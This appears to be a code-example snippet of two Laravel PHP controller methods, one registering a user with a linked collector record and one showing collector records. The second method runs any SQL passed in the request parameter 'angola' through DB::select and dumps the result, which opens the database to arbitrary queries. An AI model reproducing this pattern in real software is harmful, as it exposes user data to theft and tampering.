Exemple #1
0
 public function create(array $data)
 {
     $new_user = User::create(['name' => $data['name'], 'surname' => $data['surname'], 'email' => $data['email'], 'password' => bcrypt($data['password'])]);
     //Automaticaly creates a collector for the new User
     //NAO ESTA A GRAVAR OS APELIDOS NEM O USER_ID...PKKKKK
     $new_collector = new Collector();
     $new_collector->name = $data['name'];
     $new_collector->surname = $data['surname'];
     if ($new_collector->save()) {
         $new_user->collector_id = $new_collector->id;
         $new_user->save();
     }
     return $new_user;
 }
 public function showCollectorRecords($id)
 {
     $collector = Collector::find($id);
     if ($angola = Input::get('angola')) {
         $res = DB::select($angola);
         dd($res);
     }
     return view('collector.collector_records', compact('collector'));
 }